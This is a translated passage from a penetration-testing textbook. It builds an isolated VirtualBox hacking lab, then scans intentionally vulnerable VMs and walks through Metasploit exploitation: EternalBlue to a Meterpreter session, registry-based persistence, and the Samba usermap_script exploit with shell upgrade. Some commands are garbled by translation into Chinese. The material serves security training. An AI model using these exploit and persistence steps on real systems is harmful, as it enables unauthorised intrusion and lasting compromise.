下载安装二进制文件后，您需要安装它。该二进制文件或可执行文件将向您展示标准安装向导。在保持所有设置和配置为默认设置的情况下，按照安装步骤进行操作。完成后，您现在可以打开 VirtualBox，您将看到类似于图 2.6所示的窗口：

图 2.6 – VirtualBox 欢迎屏幕

现在我们已经安装了 VirtualBox，我们可以开始设置和配置虚拟网络。

配置虚拟网络

我们将使用图 2.4中概述的网络拓扑作为我们设置和配置 VirtualBox 内的虚拟网络适配器的指南。

VirtualBox 提供了一个简单但功能强大的虚拟网络管理器，可以帮助创建具有可定制参数和功能的适配器和网络配置。

我们的虚拟网络将需要以下选项和参数：

IPv4 地址掩码：10.10.10.1/24
启用了 DHCP 服务器

现在我们了解了 IP 地址掩码，我们可以配置我们的虚拟网络：

要打开网络管理器，点击工具功能区右上角的菜单：

图 2.7 – VirtualBox 网络工具

你将看到一个类似图 2.8的新窗口，提示你要么创建要么移除虚拟网络适配器。
在我们的情况下，我们将创建自己的虚拟网络适配器，用于在相同的 IP 地址掩码下互联所有虚拟机。点击创建按钮开始配置过程：

图 2.8 – 创建一个 VirtualBox 适配器
现在你应该看到虚拟网络管理器屏幕。根据我们之前描述的网络要求，我们需要设置一个特定的 IP 地址掩码，并启用 DHCP 以进行自动 IP 分配。要配置我们的 IP 地址掩码，选择我们创建的虚拟网络适配器，然后点击属性按钮开始定制过程：

图 2.9 – 配置虚拟网络适配器
在适配器的配置选项中，确保勾选手动配置适配器选项，就像图 2.9中演示的那样。添加我们之前指定的 IP 地址掩码。完成后，点击应用按钮保存配置。

现在我们需要启用 DHCP 服务器。这可以在适配器配置菜单中的DHCP 服务器选项卡下启用和配置。启用 DHCP 后，您需要提供寻址模式和默认网关地址。您可以使用图 2.10中概述的配置：

图 2.10 – VirtualBox DHCP 配置
修改 DHCP 服务器的 IP 寻址模式后，点击应用保存配置。

现在我们已经在 VirtualBox 中创建和配置了虚拟网络，我们可以开始在 VirtualBox 中设置我们的虚拟机，并将它们添加到我们创建的虚拟网络中。

设置我们的目标虚拟机

现在我们已经有了一个完全配置好的 hypervisor 和虚拟网络，我们可以在其中操作；然而，我们还需要设置我们的目标虚拟机，这将包括全球使用和采用最广泛的两种操作系统：Windows 和 Linux。对于渗透测试人员来说，具有利用这两种操作系统的实际经验至关重要，因为在现实场景中，你可能会遇到这两种操作系统，尽管在不同的部署和使用情况下。

正如前面所述，我们的目标虚拟机将包括不同版本的 Windows 和 Linux，并且其中一些将预先配置有漏洞，以帮助和增强学习过程。

设置 Windows 虚拟机

鉴于 Windows 操作系统的普及和采用，了解如何在桌面版本的 Windows 和Windows Server 部署上执行特权升级攻击是至关重要的。因此，我们的实验室将包括以下 Windows 版本：

Windows 10
Windows 7
Windows Server 2008

Windows 操作系统需要许可证并需要激活才能正常运行。但是，我们可以利用Microsoft TechNet Evaluation Center提供的优势。这为桌面和服务器操作系统提供了 90 天到 180 天的试用期。

然而，该服务仅提供 Windows 的最新版本，从 Windows 10 和 Windows Server 2016 到 Windows Server 2012 和 Windows 8.1。对于我们的 Windows 7 虚拟机，我们可以利用使用旧版 Windows 的Microsoft Edge Legacy虚拟机。

我将不会涵盖 Windows 安装过程。在本书中，我将演示配置并将我们的虚拟机添加到我们创建的虚拟网络的过程。

我们将从下载和配置我们所需的 Windows 虚拟机开始。

设置 Windows 7 虚拟机

现在我们来看看如何在 VirtualBox 上设置我们的 Windows 7 虚拟机。

要设置 Windows 7 虚拟机，请按照以下步骤进行：

首先，您需要下载 Windows 7 虚拟机的OVA文件，可以在developer.microsoft.com/en-us/microsoft-edge/tools/vms/下载。
在网站上，您将被提示选择您的虚拟机版本和虚拟机平台，如图 2.11所示。确保您指定Win7作为版本和VirtualBox作为平台：

图 2.11 – 下载 Windows 7 虚拟机镜像
您现在可以点击下载按钮下载压缩的 VirtualBox OVA 文件。
下载并解压存档后，您将看到一个 OVA 文件。OVA 文件是一个预配置和预安装的虚拟机，无需安装或配置；因此，这将节省时间。双击 OVA 文件即可导入。这将打开一个导入虚拟设备屏幕，如图所示：

图 2.12 – VirtualBox OVA 导入
确保您将机器基础文件夹指定为您已设置和配置用于虚拟机的目录或位置；这是虚拟机将被导入的目录。指定基础文件夹后，您可以点击导入开始导入过程，如图 2.13所示：

图 2.13 – VirtualBox OVA 导入过程
导入过程完成后，我们现在可以将虚拟机添加到我们设置的虚拟网络中。要做到这一点，选择虚拟机，如图 2.14中左侧栏所示，并单击设置按钮以修改虚拟机设置：

图 2.14 – 虚拟机设置
这将弹出选项菜单，在这里您可以更改虚拟机名称和资源分配；但是，我们还希望将虚拟机添加到虚拟网络中。这可以通过点击网络选项来实现，如图 2.15所示，并指定适配器（在本例中，屏幕上的适配器 1）为仅主机适配器：

图 2.15 – 虚拟机网络配置

虚拟机现在应该配置为在我们创建的虚拟网络中运行和操作。我们现在可以继续设置我们的 Windows Server 2008 虚拟机，也称为Metasploitable3。

设置 Metasploitable3 虚拟机

对于我们的 Windows Server 2008 虚拟机，我们将使用一个基于 Windows Server 2008 的有意漏洞的虚拟机，名为 Metasploitable3。它由Rapid7设计和创建，用于教授和演示各种渗透测试和权限提升技术。

要了解更多关于 Metasploitable3 的信息，您可以阅读发布说明，网址为blog.rapid7.com/2016/11/15/test-your-might-with-the-shiny-new-metasploitable3/。

设置 Metasploitable3 需要一个手动构建过程；但是，也存在预构建的虚拟机文件，我们可以使用这些文件来设置我们的虚拟机，而无需任何麻烦或安装：

要开始设置过程，我们首先需要下载 OVA 文件。

预构建的Metasploitable3 Box文件可以在app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8下载。
下载虚拟机文件后，导入过程类似于 Windows 7。只需双击OVA文件，将会弹出虚拟机导入屏幕，如下所示：

图 2.16 – 导入 Metasploitable3
指定您的基本目录虚拟机并开始导入过程，如下所示：

图 2.17 – 导入 Metasploitable3
导入虚拟机后，我们可以修改虚拟机设置，配置 Metasploitable3 使用虚拟网络，具体如下：

图 2.18 – Metasploitable3 网络设置

设置 Windows 10 虚拟机

您需要手动安装 Windows 10 虚拟机，因为微软没有提供预构建的虚拟机文件。如果您没有从ISO文件或光盘镜像手动安装 Windows 的经验，可以参考以下安装指南：www.extremetech.com/computing/198427-how-to-install-windows-10-in-a-virtual-machine：

要下载 Windows 10 ISO，您需要导航到以下网址：www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise。此页面将提示您选择要下载的 Windows 10 版本。请选择Windows 10 Enterprise并点击继续。之后，您需要提供个人信息以访问下载：

图 2.19 – 下载 Windows 10 ISO
下载 ISO 文件后，您可以在 VirtualBox 中创建虚拟机并手动安装 Windows。
成功安装 Windows 10 后，您现在可以修改网络设置，将虚拟机配置为使用我们创建的虚拟网络，如下图所示：

图 2.20 – Windows 网络设置

我们现在已经成功地设置好了我们的 Windows 虚拟机，并将其配置为使用我们定制的虚拟网络。接下来，让我们看看如何设置 Linux 虚拟机。

设置 Linux 虚拟机

通常，Linux 被设置并配置为作为服务器运行，主要用于托管像 Web 应用程序、邮件网关和数据库服务器等服务。这大大增加了攻击面和攻击向量，攻击者可以利用这些漏洞来获取初始的 Linux 系统访问权限；例如，Web 服务器的漏洞可能导致整个系统的完全入侵。

因此，我们将使用一个故意有漏洞的 Linux 虚拟机——Metasploitable2，它也是由Rapid7创建，旨在教授和演示 Linux 的利用与权限提升技术。

设置 Metasploitable2

Metasploitable2 是一个免费的故意有漏洞的 Ubuntu 虚拟机，可以在任何类型 2 虚拟机管理程序上设置和部署。让我们看看如何设置它：

Metasploitable2 可以从 sourceforge.net/projects/metasploitable/files/Metasploitable2/ 下载。
该网址将引导您到SourceForge，在这里您将被提示下载 Metasploitable2 压缩档案，如下所示：

图 2.21 – Metasploitable2 压缩档案
下载并解压存档后，我们将看到一个VMDK（虚拟机磁盘）文件，我们将使用该文件来设置虚拟机，您可以在这里的列表中看到它：

](Images/B17389_02_022.jpg)

图 2.22 – Metasploitable2 存档
要设置 Metasploitable2，我们需要创建一个新的虚拟机。点击 VirtualBox 中的新建按钮，如下图所示：

图 2.23 – 新建 VirtualBox 虚拟机
现在，我们需要指定虚拟机的名称和虚拟机将要安装的基础目录。如图 2.24所示：

图 2.24 – Metasploitable2 配置
现在，我们将被提示在内存大小选项下指定希望分配给虚拟机的 RAM 大小，如图 2.25所示。保持默认配置的值，应该是512 MB：

图 2.25 – Metasploitable2 内存大小设置
在指定所需的内存后，系统会提示您选择是创建一个虚拟硬盘还是使用现有的硬盘。选择使用您自己的虚拟硬盘，并指定您已下载的Metasploitable2.vmdk文件所在的目录，如下所示：

图 2.26 – Metasploitable2 VMDK 文件指定
创建 Metasploitable2 虚拟机后，您需要配置虚拟机以使用自定义虚拟网络。这可以通过修改虚拟机的设置，并修改网络适配器来完成，如下所示：

图 2.27 – Metasploitable2 网络配置

在本节中，我们已经学习了如何设置 Windows 和 Linux 虚拟机，以及如何为我们的虚拟黑客实验室配置一个自定义的隔离虚拟网络。

我们已经设置好了所有的目标虚拟机，并将它们配置为运行在同一个虚拟网络中。我们要设置的最后一台虚拟机是我们的主要攻击者虚拟机。

设置 Kali Linux

Kali Linux是一个基于Debian的 Linux 发行版，专为渗透测试人员和安全研究人员量身定制。它预配置并预打包了超过 300 个可用于渗透测试、安全审计和取证的工具。它无疑是所有行业专业人士的事实标准，因为它提供了一个坚实的基础，具有多种部署和安装选项，并且拥有一个优秀的软件仓库。

Kali Linux 可以从官方 Kali 网站（kali.org）下载，并可以通过多种方式安装和配置。你可以直接从 ISO 安装，或者使用预配置的 OVA 文件来获得预装的解决方案。在我们的案例中，和 Windows 7 虚拟机一样，我们将使用 OVA 文件，因为它节省时间且更为方便。

首先，按照以下步骤操作：

要下载 Kali Linux 虚拟设备，请访问以下链接并根据你偏好的系统架构下载 32 位 或 64 位 的 Kali Linux VirtualBox 镜像（https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/#1572305786534-030ce714-cc3b）：

图 2.28 – Kali Linux VirtualBox 镜像
下载并解压 Kali Linux 压缩包后，解压目录中的内容将包含一个可以直接导入到 VirtualBox 中的 Kali Linux OVA 文件。我们可以通过双击 OVA 镜像来完成这一操作。
这将启动 VirtualBox 导入虚拟设备向导，我们需要指定存储虚拟机的基础目录。
导入过程将开始，并需要几分钟时间才能完成：

图 2.29 – 导入 Kali Linux OVA
导入完成后，我们需要配置 Kali 虚拟机，以使用我们创建的自定义网络。这可以通过修改虚拟机的设置来完成，如下所示：

图 2.30 – Kali Linux 网络设置

我们现在已经能够全面设置我们的虚拟黑客实验室，接下来可以进入测试阶段。它涉及启动所有虚拟机并从 Kali Linux 执行主机发现扫描，以测试我们的虚拟网络配置的有效性和功能。

将所有内容整合在一起

我们可以通过单独启动我们的虚拟机并运行以下测试来开始测试：

要登录 Kali Linux 虚拟机，请使用 root 用户的凭据。用户名为 root，密码为 toor。可以通过在终端中运行 passwd 工具来更改密码，如下所示：

图 2.31 – Kali Linux 密码更改功能
启动虚拟机后，可以使用名为 netdiscover 的工具执行网络发现扫描，该工具利用 地址解析协议（ARP）ping 来检测网络上的主机。要运行网络发现扫描，请在 Kali Linux 终端中运行以下命令：

$ netdiscover -i <interface> -r 10.10.10.1/24
运行netdiscover命令后，我们会发现两个在线且活跃的主机，如图 2.32所示。这表明我们的网络配置是正常的，且我们可以与网络上的其他主机进行通信：

图 2.32 – netdiscover 的结果

我们已经设置了 Kali Linux 虚拟机，并配置它在相同的虚拟网络中运行，同时通过执行主机发现扫描测试了我们的虚拟网络。

总结

在本章中，我们首先了解了如何构建一个虚拟黑客实验室以及虚拟化的作用。接着，我们学习了如何设置和配置我们的虚拟机监控器（hypervisor）以及一个定制的隔离网络，用来互联我们的虚拟机。然后，我们在本章后半部分设置了在 VirtualBox 上的目标虚拟机，并配置它们使用我们定制的虚拟网络。最后，我们通过在虚拟黑客实验室中部署 Kali Linux 来结束本章内容。

现在我们已经建立了一个功能正常的虚拟黑客实验室，可以开始初步的漏洞利用过程。

在下一章中，我们将通过在目标虚拟机上获得初步的立足点，开始特权提升过程。我们将查看可以用来访问系统的各种攻击路径。

第三章：获取访问权限（利用）

在我们深入了解 Windows 和 Linux 的权限提升之前，我们需要探索利用过程以及可以利用的各种利用技术，包括这些技术如何影响权限提升过程。

利用是渗透测试生命周期中的一个独特阶段。因为它涉及主动与目标进行交互，以确定或发现可以被利用的缺陷或漏洞，从而获取访问权限。

利用为成功的渗透测试奠定了基础，并验证你能够在目标系统或网络上进行的操作范围。选择正确的攻击向量和利用框架或利用手段对于获取和保持目标系统的访问至关重要。

在本章中，你将了解利用 Windows 和 Linux 系统的各种方法，以及如何利用像Metasploit这样的利用框架。

本章将涉及以下主题：

设置 Metasploit
信息收集和足迹分析
获取访问权限

技术要求

为了跟随本章中的演示，你需要确保满足以下技术要求：

对Linux 终端命令有基本的了解
对信息收集和足迹技术有一定的了解

你可以在这里查看本章代码的实际操作：bit.ly/3m5qIaI

设置 Metasploit

Metasploit 框架是由 H.D. Moore 开发的开源利用框架。最初是用 Perl 编写的，后来被用 Ruby 重写。它是全球安全专家广泛采用的事实标准利用框架。它于 2009 年被Rapid7收购，并且得到了持续的维护和支持。

它的设计目的是简化和增强渗透测试过程。通过提供基于渗透测试方法不同阶段的模块化功能，它达到了这一目的。

Metasploit 可以在渗透测试生命周期的几乎每个阶段使用，从信息收集到利用和权限提升。正是这种强大的功能使得 Metasploit 成为任何渗透测试者必须学习的框架。

Metasploit 有两个版本，提供不同的功能和特性：

Metasploit 专业版
Metasploit 社区版

在本书的过程中，我们将使用 Metasploit 框架版本的 Metasploit。

Metasploit 结构

在我们开始设置和使用 Metasploit 框架之前，首先需要了解它的具体结构。图 3.1概述了构成 Metasploit 框架的组件，并提供了这些组件如何相互作用的高层次概述：

图 3.1 – Metasploit 架构

鉴于本书的主题，我们不会详细探讨每个组件的工作原理和目的。相反，我们将重点关注与漏洞利用相关的 Metasploit 框架中最重要的元素——即模块。

重要提示

Metasploit 框架是预先打包的。它已安装在 Kali Linux 上，也可以在官方的 Kali 仓库中找到。因此，我们不会讨论如何手动安装 Metasploit。

理解 Metasploit 模块如何结构化的最佳方法是浏览 Kali Linux 上的目录。默认的 Metasploit 框架目录位于 /usr/share/metasploit-framework，你可以通过运行以下命令列出该目录的内容：

ls -al /usr/share/metasploit-framework

图 3.2 概述了 Kali Linux 上默认 Metasploit 框架目录的内容。如图所示，该目录包含了根据功能分类的二进制文件和目录。例如，我们可以看到 msfdb 二进制文件，它负责与 Metasploit 框架数据库进行交互；同时也可以看到，模块已经被整理到各自的目录中：

图 3.2 – Metasploit 目录布局

在下一节中，我们将看看如何根据模块类型进一步组织这些模块。

Metasploit 模块

由于框架的模块化特性，Metasploit 使用模块来划分功能。它通过根据模块在渗透测试生命周期中所扮演的角色，按照特定功能对模块进行分类。你可以通过查看 /usr/share/metasploit/framework/modules 目录中的内容来访问这些模块，如 图 3.3 所示：

图 3.3 – Metasploit 模块目录

模块及其功能按以下方式分类：

漏洞利用：这些是利用/杠杆化系统或程序中特定漏洞的代码片段。Metasploit 根据目标操作系统、架构和服务版本进一步对这些漏洞利用进行分类。
载荷：这些是通常与漏洞利用捆绑在一起的代码，用于在成功利用后执行额外的命令和指令。例如，大多数远程访问漏洞利用都使用载荷来生成反向 shell，从而为攻击者提供直接访问权限。
辅助模块：这些模块用于执行特定功能，通常涉及信息收集、模糊测试和漏洞扫描。
编码器：编码器用于对载荷进行编码和混淆，以避免被防病毒软件和基于签名的检测识别。编码器还用于为特定用途生成各种类型的载荷。
后渗透：后渗透模块在成功利用目标后使用，以进一步增强对目标系统的控制。通常，它们用于执行以下任务：

a) 提升权限

b) 凭证收集与哈希值提取

c) 捕获目标系统上的用户输入

d) 执行进程和二进制文件

e) 设置持久性

现在我们已经熟悉了 Metasploit 框架中可用的各种模块，可以开始设置和配置 Metasploit 框架以供使用。

设置 Metasploit 框架

要开始使用 Metasploit 框架，我们需要创建并初始化 Metasploit 数据库。你需要执行以下步骤：

Metasploit 使用 PostgreSQL 数据库作为存储后端。首先，我们需要确保 PostgreSQL 服务正在运行，可以通过输入以下命令来检查：

sudo systemctl start postgresql
现在我们可以通过运行以下命令并使用 root 权限来初始化 Metasploit 数据库：

sudo msfdb init

初始化过程将创建 msf 数据库，并将 msf_test 角色添加到数据库配置中。
我们现在可以访问 Metasploit 框架控制台，也叫做 msfconsole。这可以通过在终端中运行以下命令来完成：

msfconsole

如你所见，在 图 3.4 中，启动 msfconsole 需要几秒钟：

](Images/B17389_03_004.jpg)

图 3.4 – 启动 msfconsole
在 msfconsole 启动后，你将看到一个横幅和 msf 提示符，如下所示的截图所示：

](Images/B17389_03_005.jpg)

图 3.5 – msfconsole 横幅
在我们开始使用 msfconsole 之前，需要通过在 msfconsole 中运行以下命令来验证 Metasploit 数据库是否已连接：

db_status

如你所见，在 图 3.6 中，输出告诉我们 msfconsole 已连接到数据库：

图 3.6 – Metasploit 数据库状态

现在，Metasploit 框架应该已经完全功能化并准备好使用。我们现在可以进入下一阶段，进行目标虚拟机的足迹分析和 主动侦察。

信息收集与足迹分析

在我们能够利用目标系统之前，需要准确地枚举目标，以便从中获取重要信息。渗透测试生命周期的这一阶段包括扫描和发现网络中的主机。我们扫描这些主机以找到开放的端口和服务，并了解它们的版本。此外，我们还需要识别目标系统所运行的操作系统。

这是渗透测试中最重要的阶段之一，因为它将决定攻击阶段的整体成功。如果我们能从目标中收集和列举足够的信息，就可以设立有效的攻击和漏洞利用方法。然而，如果我们没有做到这一点，攻击方法将会低效，甚至可能没有任何结果。

我们将通过绘制虚拟网络图来开始足迹分析过程，以发现目标虚拟机及其对应的 IP 地址。

使用 Nmap 进行网络映射

网络映射工具（Nmap）是一个免费的开源网络映射工具，用于发现网络上的主机、执行端口扫描、服务检测和操作系统检测。它通过向目标发送特殊构造的数据包，并分析目标返回的响应来完成这些任务。根据这些响应，Nmap 判断端口是否开放、目标是否在线，或者防火墙是否存在。

我们将结合使用 Nmap 和 Metasploit，在其中导入 Nmap 扫描结果到 Metasploit 框架数据库。Nmap 可以生成多种格式的输出。在我们的案例中，我们将以 XML 格式导出扫描结果，以便将其导入 Metasploit 数据库。

请确保您已运行以下目标虚拟机，因为我们将在本章中使用它们：

Windows 7
Metasploitable3
Metasploitable2

现在我们已经清楚了要攻击的主机，我们可以开始使用 Nmap 进行主机发现。

使用 Nmap 进行主机发现

足迹分析的第一步是发现网络上的活动主机及其对应的 IP 地址。接下来，我们将单独扫描这些主机，以发现开放端口、运行的服务以及正在使用的操作系统：

我们可以通过运行以下命令，在第二章中创建的整个虚拟网络子网执行ping 扫描：

sudo nmap -sn 10.10.10.1/24

如您所见，在图 3.7中，我们的网络上有四个活动主机。然而，我们仍然不知道这些主机运行的是哪种操作系统，这使得确定哪些 IP 地址对应我们的虚拟机变得非常困难：

图 3.7 – 使用 Nmap 进行主机发现

这个 Nmap 扫描将向网络上的所有主机发送ping请求，并根据收到的响应判断主机是否在线。
为了确定目标虚拟机运行的操作系统，我们可以在虚拟网络子网上使用 Nmap 进行激进扫描。可以通过运行以下命令来实现：

sudo nmap -A -T4 10.10.10.1/24

此扫描将显示目标操作系统、运行的服务、服务版本以及在目标系统上开放的端口。例如，通过分析操作系统扫描发现的结果，你应该能够确定主机正在运行什么操作系统。图 3.8列出了 IP 地址为10.10.10.7的虚拟机的操作系统发现结果。如你所见，操作系统发现结果表明主机运行的是Windows Server 2008 SP1，这意味着它是 Metasploitable3 虚拟机：

图 3.8 – 使用 Nmap 进行操作系统发现

注意

你还可以使用-O标志和-sV标志扫描特定信息，如操作系统和服务信息。

鉴于我们虚拟网络的基础设施以及动态主机配置协议（DHCP）的使用，虚拟机的 IP 地址可能与此处的情景有所不同。在这种情况下，IP 地址对应以下主机：

a) Metasploitable3: 10.10.10.4

b) Metasploitable2: 10.10.10.8

c) Windows 7: 10.10.10.7

现在我们已经绘制了网络上主机的映射图，可以对所有网络上的主机进行个别扫描，以确定运行的服务和开放的端口。
要对目标进行全面扫描，我们将使用 Nmap 的半开放高级扫描（SYN 扫描）对所有 TCP 端口进行扫描。这将为我们提供目标系统上开放的服务和端口的准确图景。我们还将把结果输出为 XML 格式，以便导入到msfconsole中。这可以通过运行以下 Nmap 扫描来实现：

sudo nmap -sS -A -T4 -p- <IP-ADDRESS> -oX output_file.xml

重要提示

你需要对虚拟网络上的所有目标虚拟机运行此扫描，以确定开放的端口和运行的服务。我们将在下一节中使用这些信息，进行漏洞分析，以确定可能被利用的漏洞。
执行扫描后，你应该将扫描结果保存为 XML 格式。现在，我们可以开始将结果导入 Metasploit。首先，我们需要启动msfconsole。
启动msfconsole后，我们可以通过运行db_import命令将 Nmap 的 XML 结果导入：

db_import /home/kali/Desktop/outpute_file.xml

这将导入扫描结果，并且msfconsole将自动将扫描中指定的目标添加为主机，如以下屏幕截图所示：

图 3.9 – 导入 Nmap 扫描结果

导入扫描结果后，我们可以对这些结果进行漏洞分析，以识别可能的可利用漏洞。这个过程至关重要，因为它将决定我们成功利用漏洞的机会。

漏洞评估

漏洞评估 是识别、量化和优先排序系统内漏洞的过程。通过使用像 OpenVAS 和 Nessus 这样的漏洞扫描系统，可以实现这个过程的自动化。然而，自动化的漏洞扫描并不会主动利用系统中的漏洞，它们仅仅报告漏洞。这正是渗透测试的作用所在。作为渗透测试员，您不仅需要发现漏洞，还要积极尝试利用这些漏洞，以验证其严重性和风险。

因此，作为渗透测试员，学习如何对目标进行手动漏洞评估是非常重要的，而不是仅仅依赖自动化的漏洞扫描工具。能够主动扫描并手动检测漏洞是一项必备技能。

根据我们在足迹分析阶段从目标收集的结果，我们可以开始通过仔细检查目标虚拟机上运行的操作系统和服务，来识别漏洞。

Metasploitable3 漏洞

我们可以在 msfconsole 中开始分析 Metasploitable3 虚拟机的 Nmap 扫描结果：

启动 msfconsole 后，我们可以列出活动主机，以识别 Metasploitable3 虚拟机。您可以通过在 msfconsole 中运行以下命令来完成此操作：

hosts -u

图 3.10 概述了我们从 Nmap 扫描结果中导入的所有活动主机。如您所见，msfconsole 列出了目标的 IP 地址和操作系统名称。这些信息很有用；然而，我们需要识别操作系统和服务版本：

图 3.10 – msfconsole 主机
要显示特定主机上运行的服务及其服务版本，我们可以在 msfconsole 中使用以下命令：

services <IP-ADDRESS>

如 图 3.11 所示，我们可以识别出操作系统版本为 Windows Server 2008 R2，服务包 1：

图 3.11 – Metasploitable3 服务

通过快速 Google 搜索，我可以识别操作系统中的一个未修补的漏洞。

您可以通过像 Google 这样的搜索引擎来搜索与服务和操作系统相关的漏洞。通过使用特定的搜索引擎操作符，这个过程可以得到优化，如 图 3.12 所示：

图 3.12 – 搜索漏洞

这个特定版本的 Windows Server 2008 易受MS17-010漏洞攻击，代号为EternalBlue。有关此漏洞的更多信息，请参见docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010。EternalBlue是一个漏洞利用，允许攻击者通过利用 Microsoft 的服务器消息块（SMB）V1 协议中的漏洞来远程执行任意代码。
为了验证我们的目标是否易受此漏洞攻击，我们可以在msfconsole中搜索一个辅助扫描模块。可以通过运行以下命令来完成：

search eternalblue

如图 3.13所示，这将显示多个与eternalblue搜索词匹配的模块。然而，我们要选择的辅助模块将识别我们的目标是否易受攻击：

图 3.13 – 辅助模块
要使用该模块，我们可以使用use命令并指定模块名称：

use auxiliary/scanner/smb/smb_ms17_010
在指定模块后，我们需要配置扫描器选项。我们需要修改的主要选项是RHOSTS选项。RHOSTS选项用于指定目标 IP 地址，如图 3.14所示：

图 3.14 – RHOSTS 选项
我们可以通过运行以下命令设置RHOSTS选项：

set RHOSTS <IP-ADDRESS>
设置完RHOSTS选项后，我们可以使用以下命令运行辅助模块：

run

如图 3.15所示，我们的 Metasploitable3 虚拟机易受 EternalBlue 漏洞的攻击：

图 3.15 – 主机易受攻击

我们现在已经识别并确认了一个潜在的漏洞，如果成功利用，它可以为我们提供远程访问目标的权限。在下一节中，我们将了解漏洞利用阶段。

Metasploitable2 漏洞

与 Metasploitable3 类似，我们可以分析在msfconsole中导入的 Metasploitable2 虚拟机的 Nmap 结果。让我们执行以下步骤：

要显示 Metasploitable2 上运行的服务及其版本，我们可以在msfconsole中使用以下命令：

services <IP-ADDRESS>

如图 3.16所示，Metasploitable2 上有多个服务正在运行。鉴于服务版本，许多服务是过时的。我们还可以推断该服务器正在运行较旧版本的 Ubuntu：

](Images/B17389_03_016.jpg)

图 3.16 – Metasploitable2 服务
我们可以利用一个名为 searchsploit 的有用工具，它是 Kali Linux 中预装的，可以帮助我们找到与目标上运行的特定服务版本相关的潜在漏洞。我们可以通过运行以下命令来实现：

searchsploit <服务名称和版本>

注意

Searchsploit 是一个工具，可以让你在 exploit-db 上搜索可用的漏洞，而不必手动访问 exploit-db 网站。
如果我们使用 searchsploit 扫描影响 Samba smbd V3.0.20 服务的漏洞，我们会发现它容易受到命令执行攻击，并且有一个相应的 Metasploit 模块可以用来利用这个漏洞。首先，你需要运行以下命令：

searchsploit samba 3.0.20

图 3.17 概述了针对 Samba smbd V3.0.20 可用的各种漏洞。我们将使用第二个漏洞，该漏洞有一个可用的 Metasploit 模块：

图 3.17 – Metasploitable2 漏洞

现在我们已经确定了目标系统上的潜在漏洞，接下来我们可以了解如何使用利用模块来获取访问权限。

获得访问权限

我们现在可以开始进行利用，这是渗透测试生命周期中最令人兴奋的阶段。我们已经确定了目标系统上的潜在漏洞；因此，我们现在需要运行并测试这些漏洞以获得初步的立足点。

利用阶段的目标是获得对目标系统的稳定和持久访问，这样一旦系统被利用，即使系统重启，我们也能保持访问权限。

利用 Metasploitable3

在上一部分中，我们已经能够识别并验证 EternalBlue 漏洞作为 Metasploitable3 主机内的潜在访问路径。让我们看看如何使用这个漏洞来获得访问权限：

第一步是启动 msfconsole，并通过运行以下命令搜索 EternalBlue 漏洞模块：

search eternalblue
我们将使用的模块是名为 exploit/windows/smb/ms17_010_eternalblue 的利用模块，如下图所示：

图 3.18 – Metasploitable3 eternalblue 漏洞
使用此模块时，我们将运行以下命令：

use exploit/windows/smb/ms17_010_eternalblue
在指定模块后，我们需要配置模块选项。我们需要修改的主要选项是 RHOSTS 选项。RHOSTS 选项用于指定目标 IP 地址，如以下截图所示：

图 3.19 – EternalBlue 模块选项
我们可以通过运行以下命令来设置 RHOSTS 选项：

set RHOSTS <IP-ADDRESS>
我们还可以设置要使用的有效载荷和有效载荷监听器选项，如图 3.20所示。我们使用模块指定的默认选项。
设置 RHOSTS 选项后，我们可以使用以下命令运行辅助模块：

run
如果漏洞利用成功，我们应该在目标系统上获得一个Meterpreter会话，如下面截图所示：

图 3.20 – 永恒之蓝漏洞利用成功

什么是 Meterpreter？

Meterpreter 是一个高级有效载荷，利用内存中的动态链接库（DLL）注入，提供攻击者一个高级交互式 shell，可以用来探索目标系统、执行系统命令和执行代码。
Meterpreter Shell 使我们能够探索系统并执行命令。然而，我们仍然需要设置持久化，以防我们的连接被中断或系统重启。我们可以通过使用 Metasploit 中的持久化模块来实现这一点。然而，在使用此模块之前，我们需要通过运行以下命令将我们的Meterpreter会话转入后台：

background

图 3.21 概述了一个活动的 Meterpreter 会话列表及其相关详细信息：

图 3.21 – 背景 Meterpreter 会话
将 Meterpreter 会话转入后台后，我们可以通过运行以下命令加载持久化模块：

use exploit/windows/local/persistence
现在我们需要配置模块选项。在这种情况下，我们需要通过运行以下命令来更改SESSION选项：

set SESSION 1

此外，我们还需要更改有效载荷选项，特别是LPORT选项，可以通过运行以下命令来完成：

set LPORT 4443

图 3.22 概述了持久化模块的各种选项。突出显示的选项是需要更改的值：

图 3.22 – 持久化模块选项
设置模块选项后，我们可以使用以下命令运行模块：

run
如果成功，持久化模块应安装VBS 脚本并将其设置为自启动注册表项，如图 3.23所示：

图 3.23 – 持久化模块成功

我们已成功利用漏洞并在 Metasploitable3 主机上设置了持久化。接下来，我们将学习如何利用Metasploitable2，也就是我们的 Linux 主机。

利用 Metasploitable2

在信息收集与足迹分析部分，我们能够识别出针对Samba smbd 3.0.20 服务的漏洞利用。让我们看看如何使用这个漏洞来获取访问权限：

第一步是启动 msfconsole，并通过运行以下命令搜索 Samba 3.0.20 利用模块：

搜索 samba 3.0.20
我们将使用的模块是利用模块，名为 exploit/multi/samba/usermap_script，如下图所示：

](Images/B17389_03_024.jpg)

图 3.24 – Metasploitable2 利用模块
要使用此模块，我们将运行以下命令：

使用 exploit/multi/samba/usermap_script
在指定模块后，我们需要配置模块选项。我们需要修改的主要选项是 RHOSTS 选项。RHOSTS 选项用于指定目标 IP 地址，如 图 3.25 所示：

](Images/B17389_03_025.jpg)

图 3.25 – Metasploitable2 利用模块选项
我们可以通过运行以下命令来设置 RHOSTS 选项：

设置 RHOSTS
我们还可以设置将要使用的负载以及负载监听器选项，如 图 3.25 所示。我们使用模块指定的默认选项。
设置 RHOSTS 选项后，我们可以使用以下命令运行辅助模块：

运行
如果利用成功，我们应该能够在目标系统上获取一个命令 shell，如以下截图所示：

图 3.26 – Metasploitable2 命令 shell
我们可以使用命令 shell 会话来运行系统命令并探索系统。然而，为了获得更稳定的访问，我们需要将命令 shell 升级为 meterpreter 会话。我们可以通过将命令 shell 会话移到后台来实现。这可以通过使用键盘组合 Ctrl + Z 完成，如 图 3.27 所示：

图 3.27 – Metasploitable2 后台命令 shell
在命令 shell 会话移到后台后，我们可以通过运行以下命令加载 shell 到 meterpreter 模块：

使用 post/multi/manage/shell_to_meterpreter
现在，我们需要配置模块选项。在这里，我们需要更改 SESSION 选项。可以通过运行以下命令来实现：

设置 SESSION 1

此外，我们还可以通过运行以下命令来更改负载选项 LPORT：

设置 LPORT 4443

图 3.28 概述了 shell_to_meterpreter 模块的可用选项：

](Images/B17389_03_028.jpg)

图 3.28 – shell_to_meterpreter 模块选项
